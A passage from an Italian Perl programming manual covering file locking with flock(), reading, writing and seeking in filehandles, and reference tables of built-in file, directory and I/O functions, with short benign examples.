Teoricamente, il blocco potrebbe limitarsi solo a una porzione del file, ma questo implica un'organizzazione condivisa anche dagli altri processi, in modo che sia ben definita l'estensione di questo blocco. In pratica, ci si limita quasi sempre a eseguire un blocco totale del file, rilasciando il blocco subito dopo la modifica che si vuole effettuare.

Il blocco e lo sblocco del file si ottiene generalmente con la funzione ***flock()*** su un file già aperto. La funzione richiede l'indicazione del flusso di file e del tipo di operazione che si vuole compiere.

```
flock flusso , operazione
```

Per la precisione, il tipo di operazione si esprime attraverso un numero il cui valore dipende dal sistema operativo utilizzato effettivamente. Per evitare di doversi accertare di quale valore sia corretto per il proprio sistema, è possibile acquisire alcune macro attraverso l'istruzione seguente:

```
use Fcntl ':flock';
```

In questo modo, l'operazione può poi essere indicata attraverso i nomi: '**LOCK_SH**', '**LOCK_EX**', '**LOCK_NB**' e '**LOCK_UN**'.

Il blocco del file può essere richiesto in modo da mettere in pausa il programma fino a quando si riesce a ottenere il blocco, oppure no. Nel secondo caso, il programma deve essere in grado di riconoscere il fallimento dell'operazione e di comportarsi di conseguenza. Il blocco con attesa deve essere utilizzato con prudenza, perché può generare una situazione di stallo generale: il processo A apre e blocca il file X, il processo B apre e blocca il file Y e successivamente tenta anche con il file X che però è occupato; a questo punto anche il processo A tenta di aprire il file Y senza avere rilasciato il file X; infine i due processi si sono bloccati a vicenda.

Il blocco esclusivo di un file si ottiene con il tipo di operazione '**LOCK_EX**'; se si vuole evitare l'attesa dello sblocco da parte di un altro processo si deve aggiungere il valore di '**LOCK_NB**'. Lo sblocco di un file si ottiene con il tipo di operazione '**LOCK_UN**'.

Segue la descrizione di alcuni esempi.

- ```
  use Fcntl ':flock';    # importa le costanti LOCK_...
  ...
  open (ELENCO, ">> /home/tizio/mioelenco");
  flock (ELENCO, LOCK_EX);
  ...
  flock (ELENCO, LOCK_UN);
  ```
  Vengono eseguite le operazioni seguenti:
  - si caricano le costanti di definizione dei tipi di blocco attraverso l'istruzione '**use Fcntl ':flock';**';
  - si apre il file '`/home/tizio/mioelenco`' in aggiunta;
  - si blocca il file in modo esclusivo;
  - si compiono alcune operazioni che non sono indicate;
  - si rilascia il blocco.
  ```

- ```
  use Fcntl ':flock';   # importa le costanti LOCK_…
  …
  open (ELENCO, ">> /home/tizio/mioelenco");
  if (flock (ELENCO, (LOCK_EX)+(LOCK_NB)))
    {
      …
      flock (ELENCO, LOCK_UN);
    }
  else
    {
      print STDOUT "Il file è impegnato.\n";
    }
  ```

  Si tratta di una variante dell'esempio precedente, in cui si richiede un blocco esclusivo senza attesa. Se il blocco ha successo, si procede, altrimenti viene segnalata la presenza del blocco da parte di un altro processo.

> Per qualche motivo, se si vuole sommare il valore della macro ***LOCK_EX*** assieme a quello di qualche altra, è necessario racchiuderla tra parentesi, come si vede nell'esempio. Probabilmente questo dipende dal modo in cui il valore viene generato. Per uniformità, nell'esempio si mostra racchiusa tra parentesi anche la macro ***LOCK_NB***. Volendo verificare questa anomalia, basta provare ad assegnare a una variabile la somma di queste o di altre macro, visualizzando poi il risultato; se si prova una cosa del tipo '**`$pippo = LOCK_EX+LOCK_NB;`**', senza parentesi, e poi si visualizza il contenuto di '**`$pippo`**', si ottiene solo il valore due, mentre dovrebbe essere un sei!

27.16 I/O con i file

Le operazioni di I/O con i file richiedono la conoscenza del modo in cui si esegue la lettura, la scrittura e lo spostamento, del puntatore interno a un flusso di file. Fortunatamente, Perl gestisce tutto in modo piuttosto trasparente, soprattutto per ciò che riguarda la lettura. È il caso di ricordare che queste operazioni si compiono su file già aperti, di conseguenza si fa riferimento a loro tramite il flusso corrispondente.

27.16.1 Lettura

La lettura di un flusso di file riferito a un file di testo è un'operazione molto semplice, basta utilizzare le parentesi angolari per ottenere la valutazione dello stesso che si traduce nella restituzione di una riga, nel caso di contesto scalare, o di tutto il file, nel caso di un contesto lista. L'esempio seguente restituisce una riga, a partire dalla posizione del puntatore del file fino al codice di interruzione di riga incluso, spostando in avanti il puntatore del file:

```
$riga = <MIOHANDLE>;
```

Per questo, dopo un'operazione di questo tipo, si esegue un ***chop()*** o un ***chomp()***, in modo da eliminare il codice di interruzione di riga finale.

```
chomp $riga;
```
```

In alternativa, l'istruzione seguente restituisce tutto il file suddiviso in righe terminanti con il codice di interruzione di riga:

```
@file = <MIOHANDLE>;
```

In pratica, l'array viene popolato con tanti elementi quante sono le righe del file. Anche in questo caso si può eseguire un ***chop()*** o un ***chomp()***, che intervenga su ogni elemento dell'array:

```
chomp (@file);
```

La valutazione di un flusso di file in questo modo, quando il puntatore del file ha superato la fine del file, restituisce un valore indefinito che può essere utilizzato per controllare un ciclo di lettura. L'esempio seguente mostra in modo molto semplice come un ciclo '**`while`**' possa controllare la lettura di un flusso di file terminando quando questo ha raggiunto la conclusione.

```
while ($riga = <MIOHANDLE>)
  {
    ...
  }
```

27.16.2 Scrittura

La scrittura di un file avviene generalmente attraverso la funzione ***print()*** che inizia a scrivere a partire dalla posizione attuale del puntatore del file stesso.

print ***flusso*** ***lista***

print ***lista***

Se non viene specificato un flusso di file, tutto viene emesso attraverso lo standard output, oppure attraverso quanto specificato con la funzione ***select()***.

È il caso di osservare che l'argomento che specifica il flusso è separato dalla lista di stringhe da emettere solo attraverso uno o più spazi (non si usa la virgola). Per lo stesso motivo, se il flusso di file è contenuto in un elemento di un array, oppure è il risultato di un'espressione, ciò deve essere indicato in un blocco.

Segue la descrizione di alcuni esempi.

- ```
  print MIOHANDLE "Ciao, come stai?\n";
  ```
  Scrive nel flusso di file indicato, a partire dalla posizione attuale del puntatore, il messaggio indicato come argomento.

- ```
  print {$elenco_file[$i]} "Bla bla bla\n";
  ```
  Inserisce il messaggio nel file indicato da '**`$elenco_file[$i]`**'.

- ```
  use Fcntl ':flock';   # importa le costanti LOCK_…
  …
  open (ELENCO, ">> /home/tizio/mioelenco");
  flock (ELENCO, LOCK_EX);
  print ELENCO $daelencare,"\n";
  flock (ELENCO, LOCK_UN);
  ```
  Vengono eseguite le operazioni seguenti:
  - si caricano le costanti di definizione dei tipi di blocco attraverso l'istruzione '**`use Fcntl ':flock';`**';
  - si apre il file '`/home/tizio/mioelenco`' in aggiunta;
  - si blocca il file in modo esclusivo;
  - si inserisce una riga nel file;
  - si rilascia il blocco.

27.16.3 Spostamento del puntatore

Lo spostamento del puntatore interno a un flusso di file avviene generalmente in modo automatico, sia in lettura, sia in scrittura. Si possono porre dei problemi, o dei dubbi, quando si accede simultaneamente a un file sia in lettura che in scrittura. Lo spostamento del puntatore può essere fatto attraverso la funzione ***seek()***.

`seek` ***flusso*, *posizione*, *partenza***

La posizione effettiva nel file dipende dal valore del secondo e del terzo argomento. Precisamente, il terzo argomento può essere zero, uno o due, in base al significato seguente:

Partenza	Descrizione
0	la nuova posizione corrisponde esattamente a quanto indicato dal secondo argomento;
1	la nuova posizione corrisponde alla posizione corrente più quanto indicato nel secondo argomento;
2	la nuova posizione corrisponde alla posizione successiva alla fine del file più il valore del secondo argomento (solitamente negativo).

Segue la descrizione di alcuni esempi.

- ```
  seek (MIO_FILE, 0, 2);
  ```
  Posiziona alla fine del file in modo da poter, successivamente, aggiungere qualcosa a questo.

- ```
  seek (MIO_FILE, 0, 0);
  ```
  Posiziona all'inizio del file.
  ```

- ```
  use Fcntl ':flock';   # importa le costanti LOCK_...
  ...
  open (ELENCO, ">> /home/tizio/mioelenco");
  flock (ELENCO, LOCK_EX);
  seek (ORDINI, 0, 2);
  print ELENCO $daelencare,"\n";
  flock (ELENCO, LOCK_UN);
  ```

  Vengono eseguite le operazioni seguenti:

  - si caricano le costanti di definizione dei tipi di blocco attraverso l'istruzione '**`use Fcntl ':flock';`**';
  - si apre il file '`/home/tizio/mioelenco`' in aggiunta;
  - si blocca il file in modo esclusivo;
  - per sicurezza si posiziona il puntatore alla fine del file;
  - si inserisce una riga nel file;
  - si rilascia il blocco.

27.16.4 Identificazione dei flussi di file

Nel momento in cui si apre un file, si deve attribuire il nome del flusso relativo. Fino a questo punto è stato visto l'uso di nomi dichiarati nell'istante dell'apertura, come nell'esempio seguente:

```
open (MIO_FLUSSO, "< pippo.txt");
```

Da quel punto, il simbolo '**`MIO_FLUSSO`**' diviene ciò che identifica il flusso. È già stato mostrato anche il modo in cui è possibile trasferire il riferimento a questi simboli, come nell'esempio seguente:

```
$mio_flusso = *MIO_FLUSSO;
```

Successivamente è possibile fare riferimento in modo indifferente al simbolo originale o alla variabile che vi punta:

```
$riga = <$mio_flusso>;
```

In realtà, il simbolo che rappresenta un flusso, può anche essere una variabile, contenente una stringa qualunque: è il contenuto della variabile che identifica effettivamente il flusso. Si osservi l'esempio seguente:
```

```
#!/usr/bin/perl
$a = "tizio";
open ($a, "< prova_1");
$a = "caio";
open ($a, "> prova_2");
$a = "tizio";
$riga = <$a>;
print STDOUT "$riga";
$riga = <"tizio">;
print STDOUT "$riga";
$a = "caio";
print $a "ciao\n";
print caio "come stai\n";
$a = "tizio";
close ($a);
$a = "caio";
close ($a);
```

Si vede la variabile '**`$a`**' che inizialmente riceve la stringa '**`tizio`**' e in questa situazione viene usata per aprire in lettura il file '`prova_1`'. Subito dopo, la stessa variabile riceve la stringa '**`caio`**' e in questo modo viene usata per aprire in scrittura il file '`prova_2`'. I due flussi sono identificati rispettivamente dalle stringhe '**`tizio`**' e '**`caio`**'; non ha importanza se queste stringhe sono contenute in una variabile o se sono usate direttamente come sono.

Più avanti, si può vedere che, quando '**`$a`**' contiene la stringa '**`tizio`**', scrivere

```
$riga = <$a>;
```

oppure

```
$riga = <"tizio">;
```

dà lo stesso risultato: la lettura del flusso abbinato al file '`prova_1`'. Ugualmente si può fare per il flusso in scrittura, con la differenza che non si può usare la stringa in modo delimitato:

```
$a = "caio";
print $a "ciao\n";
print caio "come stai\n";
```

Questa possibilità di gestire i flussi identificandoli subito attraverso delle variabili, facilita il trasferimento dell'indicazione dei flussi nelle chiamate di funzione, senza più il bisogno di creare dei riferimenti.

Si noti che non basta dichiarare un flusso indicando semplicemente una variabile, perché questa variabile deve essere inizializzata in qualche modo. Utilizzando una variabile non inizializzata sarebbe come volere identificare il flusso con la stringa nulla.

27.17 Funzioni interne

Nelle sezioni seguenti viene descritto brevemente il funzionamento di alcune funzioni interne di Perl. La sintassi viene mostrata secondo lo stile della documentazione di Perl, per cui, '***blocco***' rappresenta un gruppo di istruzioni nella forma consueta di Perl, e '***lista***' rappresenta un elenco di espressioni separate da virgole.

'***blocco***' equivale a:

```
{ istruzione... }
```

'***lista***' equivale a:

```
espressione1, espressione2, ...
```

Le funzioni descritte sono raggruppate in base al tipo di situazione in cui vengono utilizzate normalmente.

27.17.1 File

Vengono qui descritte alcune funzioni che riguardano la gestione dei file, nel senso globale, esterno. Le funzioni per la gestione del contenuto dei file vengono mostrate più avanti.

Tabella 27.153. Funzioni Perl per la gestione esterna dei file.

Funzione	Descrizione
`-`***x*** ***nome_file*** `-`***x*** ***flusso***	Perl permette di effettuare una serie di test sui file in modo analogo a quanto si fa con le shell tradizionali. Nel primo caso si fa riferimento a un file indicato per nome, nel secondo il riferimento è a un flusso di file. La lettera ***x*** cambia a seconda del tipo di test da verificare. I vari test restituiscono il valore uno se si verificano, oppure la stringa nulla in caso contrario (salvo eccezioni, come mostrato successivamente). Le descrizioni successive mostrano i vari tipi di test.
`-r` ***nome***	Il file è accessibile in lettura dal numero UID/GID efficace.
`-w` ***nome***	Il file è accessibile in scrittura dal numero UID/GID efficace.
`-x` ***nome***	Il file è accessibile in esecuzione dal numero UID/GID efficace.
`-o` ***nome***	Il file appartiene al numero UID efficace.
`-R` ***nome***	Il file è accessibile in lettura dal numero UID/GID reale.
`-W` ***nome***	Il file è accessibile in scrittura dal numero UID/GID reale.
`-X` ***nome***	Il file è accessibile in esecuzione dal numero UID/GID reale.
`-O` ***nome***	Il file appartiene al numero UID reale.

Funzione	Descrizione
`-e` ***nome***	Il file esiste.
`-z` ***nome***	Il file ha dimensione zero.
`-s` ***nome***	Il file ha una dimensione maggiore di zero (restituisce la dimensione).
`-f` ***nome***	Si tratta di un file normale.
`-d` ***nome***	Si tratta di una directory.
`-l` ***nome***	Si tratta di un collegamento simbolico.
`-p` ***nome***	Si tratta di un file FIFO (*pipe* con nome).
`-S` ***nome***	Si tratta di un *socket*.
`-b` ***nome***	Si tratta di file di dispositivo a blocchi.
`-c` ***nome***	Si tratta di file di dispositivo a caratteri.
`-t` ***nome***	Si tratta di un flusso di file aperto su un terminale.
`-u` ***nome***	Il file ha il bit SUID attivo.
`-g` ***nome***	Il file ha il bit SGID attivo.
`-k` ***nome***	Il file ha il bit Sticky attivo.
`-T` ***nome***	Si tratta di un file di testo.
`-B` ***nome***	Si tratta di un file binario.
`-M` ***nome***	Restituisce quanto tempo ha il file in base alla data di modifica.
`-A` ***nome***	Restituisce quanto tempo ha il file in base alla data di accesso.
`-C` ***nome***	Restituisce quanto tempo ha il file in base alla data di creazione.
`chmod` ***permessi*** `,` ***file*** `,` ...	***chmod()*** cambia i permessi dei file indicati come argomento. In particolare, l'argomento è una lista, in cui il primo elemento è costituito dai permessi espressi in forma numerica ottale. Dal momento che si tratta di un numero ottale, è bene che non sia fornito in forma di stringa perché la conversione da stringa a numero ottale non è automatica. Restituisce il numero di file su cui ha potuto intervenire con successo.
`chown` ***uid*** `,` ***gid*** `,` ***file*** `,` ...	***chown()*** cambia i permessi dei file indicati nella lista di argomenti. I primi due elementi della lista sono rispettivamente il numero UID e GID. Gli elementi restanti sono i file su cui si vuole intervenire. Restituisce il numero di file su cui ha potuto intervenire con successo.
`link` ***file_di_origine*** `,` ↩ ↪***collegamento_di_destinazione***	***link()*** genera un collegamento fisico a partire da un file esistente. Restituisce *Vero* se la creazione ha successo.

Funzione	Descrizione
`lstat` ***file*** `lstat` ***flusso***	***lstat()*** funziona esattamente come ***stat()***, con la differenza che restituisce le informazioni relative a un collegamento simbolico, invece di quelle del file a cui questo punta. Se non viene indicato l'argomento, ***lstat()*** utilizza il contenuto della variabile predefinite '`$_`'.
`readlink` ***file***	***readlink()*** restituisce il valore di un collegamento simbolico. Se non viene indicato l'argomento, ***readlink()*** utilizza il contenuto della variabile predefinita '`$_`'.
`rename` ***nome_vecchio*** , ***nome_nuovo***	***rename()*** cambia il nome di un file, o lo sposta. Tuttavia, lo spostamento non può avvenire al di fuori del file system di partenza. Restituisce uno se l'operazione riesce, altrimenti zero.
`stat` ***file*** `stat` ***flusso***	***stat()*** restituisce un array di tredici elementi contenenti tutte le informazioni sul file indicato per nome o attraverso un flusso di file. Se non viene indicato l'argomento, ***stat()*** utilizza il contenuto della variabile predefinita '`$_`'. Gli elementi dell'array restituito sono riportati nella tabella 27.154 in cui appare anche il nome suggerito per la trasformazione in variabili scalari. Va osservato che le informazioni data-orario sui file sono espresse in forma numerica che esprime il tempo trascorso a partire dalla data di riferimento del sistema operativo. Nel caso dei sistemi derivati da Unix si tratta dell'ora zero del 1/1/1970. Nello stesso modo, è evidente che tutte queste informazioni possono essere ottenute solo da un file system che può gestirle.
`symlink` ***file_di_origine*** , ↩ ↪***collegamento_di_destinazione***	***symlink()*** genera un collegamento simbolico a partire da un file esistente. Restituisce *Vero* se la creazione ha successo.
`unlink` ***lista_di_file***	***unlink()*** cancella i file indicati per nome tra gli argomenti. Generalmente non possono essere cancellate le directory (e comunque sarebbe inopportuno dato il tipo di cancellazione che si fa). Restituisce il numero di file cancellati con successo. Se non viene indicato l'argomento, ***unlink()*** utilizza il contenuto della variabile predefinita '`$_`'.
`utime` ***data_di_accesso*** , ↩ ↪***data_di_modifica*** , ***lista_di_file***	***utime()*** cambia la data di modifica e di accesso di una serie di file. Le date, indicate come argomenti iniziali, sono espresse nella forma numerica gestita dal sistema operativo. La data di modifica dell'inode viene cambiata automaticamente in modo che corrisponda al momento in cui questa modifica viene effettuata.

Tabella 27.154. Elenco degli elementi componenti l'array restituito da ***stat()***.

Elemento	Nome consueto	Descrizione.
0	`$dev`	Numero del dispositivo del file system.
1	`$ino`	Numero dell'inode.
2	`$mode`	Permessi del file.
3	`$nlink`	Numero di collegamenti fisici al file.
4	`$uid`	UID dell'utente proprietario del file.

Elemento	Nome consueto	Descrizione.
5	`$gid`	GID del gruppo proprietario del file.
6	`$rdev`	Identificatore di dispositivo, per i file speciali.
7	`$size`	Dimensione in byte.
8	`$atime`	Data dell'ultimo accesso.
9	`$mtime`	Data dell'ultima modifica.
10	`$ctime`	Data di cambiamento di inode.
11	`$blksize`	Dimensione preferita dei blocchi per le operazioni di I/O del sistema.
12	`$blocks`	Numero di blocchi allocati attualmente.

Segue la descrizione di alcuni esempi.

- ```
  if (-x "esempio.pl")
    {
      print "Il file è eseguibile\n";
    }
  ```
  Restituisce il messaggio se il file '`esempio.pl`' è eseguibile.

- ```
  chmod 0755, 'mio_file', 'tuo_file', 'suo_file';
  ```
  Cambia i permessi ai file indicati dopo la modalità.

- ```
  @elenco = ('mio_file', 'tuo_file', 'suo_file');
  chmod 0755, @elenco;
  ```
  Esattamente come nell'esempio precedente.

- ```
  @elenco = ('mio_file', 'tuo_file', 'suo_file');
  chmod (0755, @elenco);
  ```
  Esattamente come nell'esempio precedente, ma più simile alle chiamate di funzione degli altri linguaggi.

- ```
  chown 1001, 100, 'mio_file', 'tuo_file', 'suo_file';
  ```
  Cambia l'utente e il gruppo proprietari dei file '`mio_file`', '`tuo_file`' e '`suo_file`'.

- ```
  chown (1001, 100, 'mio_file', 'tuo_file', 'suo_file');
  ```
  Esattamente come nell'esempio precedente.

- ```
  $prova = readlink '/bin/sh';
  ```
  Assegna alla variabile '**`$prova`**' il percorso contenuto nel collegamento simbolico '`/bin/sh`'. Probabilmente, alla fine, la variabile contiene la stringa '**`bash`**'.
  ```

- ```
  ($dev, $ino, $mode, $nlink,
   $uid, $gid, $rdev, $size,
   $atime, $mtime, $ctime,
   $blksize, $blocks) = stat ('/home/tizio/mio_file');
  ```
  Preleva tutte le informazioni sul file '`/home/tizio/mio_file`' e le scompone in diverse variabili scalari.

- ```
  $momento = time;
  utime $momento, $momento, 'mio_file';
  ```
  Cambia la data di accesso e modifica in modo da farle coincidere con quella riportata dall'orologio dell'elaboratore nel momento in cui si eseguono queste istruzioni.

27.17.2 Directory

Vengono qui elencate alcune funzioni che riguardano la gestione delle directory e di raggruppamenti di file. Vengono ignorate volutamente le funzioni specifiche di Perl per la lettura delle directory.

Tabella 27.164. Funzioni Perl per la gestione delle directory e dei raggruppamenti di file.

Funzione	Descrizione
`chdir` ***directory***	***chdir()*** cambia la directory di lavoro posizionandosi in corrispondenza di quanto indicato come argomento. Se l'argomento viene omesso, lo spostamento avviene nella directory personale, attraverso quanto determinato dal contenuto di '**`$ENV{"HOME"}`**'. Restituisce *Vero* se l'operazione ha successo, *Falso* in tutti gli altri casi.
`glob` ***espressione***	***glob()*** restituisce quanto indicato nell'argomento dopo un'operazione di espansione, come farebbe una shell. Se l'argomento non viene indicato, l'espansione viene effettuata sul contenuto della variabile '**`$_`**'.
`mkdir` ***directory*** `,` ***permessi***	***mkdir()*** crea la directory indicata come primo argomento. I permessi della directory sono indicati come secondo argomento, devono essere espressi con un numero ottale, tenendo conto che poi vengono filtrati ulteriormente dalla maschera dei permessi. Restituisce uno se l'operazione riesce, altrimenti zero, impostando anche la variabile '**`$!`**'. In generale, non dovrebbe essere possibile assegnare dei permessi negli S-bit. In pratica dovrebbe essere consentito di operare solo con i soliti permessi di lettura, scrittura ed esecuzione (attraversamento).
`rmdir` ***directory***	***rmdir()*** elimina la directory indicata come argomento. Se l'argomento non viene fornito, si utilizza la variabile predefinita '**`$_`**'. Restituisce uno se l'operazione riesce, altrimenti zero, impostando anche la variabile '**`$!`**'.

Segue la descrizione di alcuni esempi.

- ```
  $primo = glob ("/bin/*");
  ```
  ```

Assegna alla variabile '**$primo**' il percorso assoluto del primo file che viene trovato attraverso l'espansione del modello '/bin/*'.

- ```
  @elenco = glob ("/bin/*");
  ```

  Assegna all'array '**@elenco**' i percorsi assoluti dei file che vengono trovati attraverso l'espansione del modello '/bin/*'.

- ```
  mkdir ("/tmp/prova");
  ```

  Crea la directory '/tmp/prova/' con i permessi normali dell'utente.[1]

- ```
  mkdir ("/tmp/prova", 0755);
  ```

  Crea la directory '/tmp/prova/' con i permessi 0755_8 (si osservi che si tratta di un numero ottale), che vengono comunque filtrati dalla maschera dei permessi.

27.17.3 I/O

Vengono elencate alcune funzioni che riguardano la gestione dei dati contenuti nei file.

Tabella 27.169. Funzioni Perl per la gestione del contenuto dei file.

Funzione	Descrizione
binmode ***flusso***, ":***codifica***"	***binmode()*** consente di dichiarare la codifica utilizzata per il file corrispondente al flusso di file indicato come primo argomento. Si usa normalmente quando si vuole dichiarare la codifica dei flussi standard, che risultano già aperti senza alcuna dichiarazione esplicita.
chomp ***espressione_stringa*** chomp ***lista***	***chomp()*** riceve come argomento un'espressione che restituisce una stringa o una lista di stringhe. Il suo scopo è eliminare dalla parte finale il codice di interruzione di riga, che coincide normalmente con il carattere <*LF*>. Precisamente si tratta di quanto contenuto nella variabile predefinita '**$/**'. Se non viene indicato l'argomento, interviene sul contenuto della variabile '**$_**'. Restituisce il numero di caratteri eliminati.
chop ***espressione_stringa*** chop ***lista***	***chop()*** riceve come argomento un'espressione che restituisce una stringa o una lista di stringhe. Il suo scopo è eliminare l'ultimo carattere della stringa, o delle stringhe della lista. In questo senso differisce da ***chomp()*** che invece elimina la parte finale solo se necessario. Restituisce l'ultimo carattere eliminato.
close ***flusso***	***close()*** chiude un flusso di file aperto precedentemente. Restituisce *Vero* se l'operazione ha successo e non si sono prodotti errori di alcun tipo. È opportuno osservare che non è necessario chiudere un file se poi si deve riaprire immediatamente con la funzione ***open()***: lo si può semplicemente riaprire.
eof ***flusso***	***eof()*** verifica se la prossima lettura del flusso di file supera la fine del file. Restituisce uno se ciò si verifica. Questa funzione è generalmente di scarsa utilità dal momento che la lettura di una riga oltre la fine del file genera un risultato indefinito che può essere verificato tranquillamente in un'espressione condizionale. Oltre a ciò, ***eof()*** si verifica prima che il tentativo di lettura sia stato fatto veramente, contrariamente a quanto avviene di solito in altri linguaggi di programmazione.
  ```

Funzione	Descrizione
`fcntl` ***flusso*****,** ***funzione*****,** ***scalare***	***fcntl()*** esegue la chiamata di sistema omonima e per questo può essere utilizzata solo con un sistema operativo che la gestisce. Prima di poter utilizzare questa funzione occorre richiamare una serie di valori corrispondenti a macro del proprio sistema: ‘**`use Fcntl;`**’
`fileno` ***flusso***	***fileno()*** restituisce il descrittore corrispondente a un flusso di file.
`flock` ***flusso*****,** ***operazione***	***flock()*** esegue la chiamata di sistema omonima, oppure una sua emulazione, per il file identificato tramite il flusso di file. ***flock()*** permette di eseguire il blocco di un file nel suo complesso e non record per record. Restituisce *Vero* se l’operazione ha successo. L’operazione, cioè il tipo di blocco, viene indicata attraverso una sorta di macro che viene inserita nel sorgente di Perl attraverso la dichiarazione seguente: ‘**`use Fcntl ':flock';`**’
`flock` ***flusso*****,** `LOCK_SH`	‘**`LOCK_SH`**’ corrisponde normalmente al valore numerico uno. Richiede un blocco condiviso (*shared*).
`flock` ***flusso*****,** `LOCK_EX`	‘**`LOCK_EX`**’ corrisponde normalmente al valore numerico due. Richiede un blocco esclusivo.
`flock` ***flusso*****,** `LOCK_UN`	‘**`LOCK_UN`**’ corrisponde normalmente al valore numerico otto. Rilascia il blocco.
`flock` ***flusso*****,** `LOCK_NB`	‘**`LOCK_NB`**’ corrisponde normalmente al valore numerico quattro. Viene sommato a ‘**`LOCK_SH`**’ o a ‘**`LOCK_EX`**’ in modo da non attendere lo sblocco del file nel caso che questo risulti già bloccato.
`getc` ***flusso***	***getc()*** legge il file indicato dal flusso di file, o dallo standard input se viene omesso l’argomento, restituendo il prossimo carattere. Se si supera la fine del file restituisce la stringa nulla.
`ioctl` ***flusso*****,** ***funzione*****,** ***scalare***	***ioctl()*** esegue la chiamata di sistema omonima e per questo può essere utilizzata solo con un sistema operativo che la gestisce. Per poterla utilizzare occorre consultare la documentazione interna di Perl.
`open` ***flusso*****,** [***modalità*****,**] ***file***	***open()*** apre il file indicato come ultimo argomento utilizzando il flusso di file indicato come primo argomento. Se manca l’argomento centrale, il nome del file è composto normalmente da un prefisso simbolico che ne rappresenta la modalità di utilizzo. Il prefisso può essere staccato dal nome del file attraverso spazi. L’apertura del file rappresentato da un trattino (‘**`-`**’) è equivalente all’apertura dello standard input, mentre l’apertura del file ‘**`>-`**’ è equivalente all’apertura dello standard output. Restituisce *Vero* se l’apertura ha successo.
`open` ***flusso*****,** `"<`***file***`"` `open` ***flusso*****,** `"<:`***codifica***`",` `"`***file***`"`	Questo simbolo o l’assenza di ogni altro prefisso rappresenta l’apertura del file in lettura, o in input.
`open` ***flusso*****,** `">`***file***`"` `open` ***flusso*****,** `">:`***codifica***`",` `"`***file***`"`	Il file viene troncato (viene ridotto a un file vuoto) e aperto in scrittura, o in output.

Funzione	Descrizione

`open` ***flusso*** `,` `">>`***file***`"`
 	
`open` ***flusso*** `,` `">>:`***codifica***`",` `"`***file***`"`
	Il file viene aperto in scrittura in aggiunta.

`open` ***flusso*** `,` `"+<`***file***`"`
 	
`open` ***flusso*** `,` `"+<:`***codifica***`",` `"`***file***`"`
	Il file viene aperto in lettura e scrittura, senza il troncamento iniziale.

`open` ***flusso*** `,` `"+>`***file***`"`
 	
`open` ***flusso*** `,` `"+>:`***codifica***`",` `"`***file***`"`
	Il file viene aperto in scrittura e lettura, a cominciare dal troncamento iniziale.

`open` ***flusso*** `,` `"+>>`***file***`"`
 	
`open` ***flusso*** `,` `"+>>:`***codifica***`",` `"`***file***`"`
	Il file viene aperto in aggiunta e in lettura.

`open` ***flusso*** `,` `"|`***comando***`"`	Il file viene interpretato come un comando a cui inviare i dati in scrittura attraverso un condotto.
`open` ***flusso*** `,` `"`***comando***`|"`	Il file viene interpretato come un comando da cui leggere i dati emessi dal suo standard output.
`open` ***flusso*** `,` `"|`***comando***`|"`	Il file viene interpretato come un comando a cui inviare i dati in scrittura e attraverso il suo standard input, leggendo quanto emesso attraverso lo standard output.
`pipe` ***flusso_in_lettura*** `,` ↩ ↪***flusso_in_scrittura***	***pipe()*** esegue la chiamata di sistema omonima, aprendo due flussi di file, uno in lettura e l'altro in scrittura. Per poterla utilizzare occorre consultare la documentazione interna di Perl.
`print` ***flusso*** ***lista*** `print` ***lista***	***print()*** emette attraverso il flusso di file indicato la lista di argomenti successiva. Se non viene specificato un flusso di file, tutto viene emesso attraverso lo standard output, oppure attraverso quanto specificato con la funzione ***select()***. Se non viene specificato alcun argomento, viene emesso il contenuto della variabile '**`$_`**'. È il caso di osservare che l'argomento che specifica il flusso di file è separato dalla lista di stringhe da emettere solo attraverso uno o più spazi (non si usa la virgola). Per lo stesso motivo, se il flusso di file è contenuto in un elemento di un array, oppure è il risultato di un'espressione, ciò deve essere indicato in un blocco. Restituisce *Vero* se l'operazione di scrittura ha successo.
`printf` ***flusso*** ***formato*** `,` ***lista*** `printf` ***formato*** `,` ***lista***	È equivalente all'uso di ***sprintf()*** nel modo seguente: '**`print`** ***flusso*** **`sprintf`** ***formato*** `,` ***lista***'
`read` ***flusso*** `,` ***scalare*** `,` ***lunghezza*** `,` ↩ ↪***scostamento*** `read` ***flusso*** `,` ***scalare*** `,` ***lunghezza***	***read()*** tenta di leggere il flusso di file specificato e di ottenere la quantità di byte espressa nel terzo argomento, inserendo quanto letto nella variabile scalare indicata come secondo. Se viene indicato anche il quarto argomento, lo scostamento, il contenuto della variabile non viene rimpiazzato completamente, ma è sovrascritto a partire dalla posizione indicata dallo scostamento stesso. La funzione restituisce il numero di byte letti effettivamente, oppure il valore indefinito se si è verificato un errore.

Funzione	Descrizione
`seek` ***flusso*** `,` ***posizione*** `,` ***partenza***	***seek()*** modifica la posizione del puntatore riferito al flusso di file. La posizione effettiva nel file dipende dal valore del secondo e del terzo argomento. Precisamente, il terzo argomento può essere zero, uno o due, come descritto nelle voci successive.
`seek` ***flusso*** `,` ***posizione*** `, SEEK_SET` `seek` ***flusso*** `,` ***posizione*** `, 0`	Sposta il puntatore esattamente a quanto indicato dal secondo argomento.
`seek` ***flusso*** `,` ***posizione*** `, SEEK_CUR` `seek` ***flusso*** `,` ***posizione*** `, 1`	Sposta il puntatore alla posizione corrente, più quanto indicato dal secondo argomento.
`seek` ***flusso*** `,` ***posizione*** `, SEEK_END` `seek` ***flusso*** `,` ***posizione*** `, 2`	Sposta il puntatore alla fine del file, più quanto indicato dal secondo argomento, che solitamente è un valore negativo.
`select` ***flusso***	***select()*** permette di definire il flusso di file in scrittura predefinito, per tutte quelle situazioni in cui questo concetto ha significato.
`sprintf` ***formato*** `,` ***lista***	***sprintf()*** restituisce una stringa formattata in modo analogo a quanto fa la funzione omonima del linguaggio C. Il primo argomento è la stringa di composizione, quelli successivi sono i valori da inserire. Perl utilizza una propria gestione della conversione secondo quanto riportato nelle tabelle 27.170 e 27.171. ***sprintf()*** è sensibile all'attivazione della localizzazione, nel qual caso, il carattere utilizzato per separare le cifre intere da quelle decimali, dipende dalla variabile di ambiente '**`LC_NUMERIC`**'.
`tell` ***flusso***	***tell()*** restituisce la posizione corrente del puntatore interno riferito al flusso di file indicato come argomento, oppure a quello dell'ultima operazione di lettura eseguita.
`use open ":`***codifica***`"`	'**`use open`**' consente di dichiarare la codifica una volta per tutte, fino a quando si incontra un'altra istruzione del genere.

Tabella 27.170. Elenco dei simboli utilizzabili in una stringa formattata per l'utilizzo con ***sprintf()***.

Simbolo	Corrispondenza
`%%`	Segno di percentuale.
`%c`	Un carattere con il numero dato.
`%s`	Una stringa.
`%d`	Un intero con segno a base 10.
`%u`	Un intero senza segno a base 10.
`%o`	Un intero senza segno in ottale.
`%x`	Un intero senza segno in esadecimale.

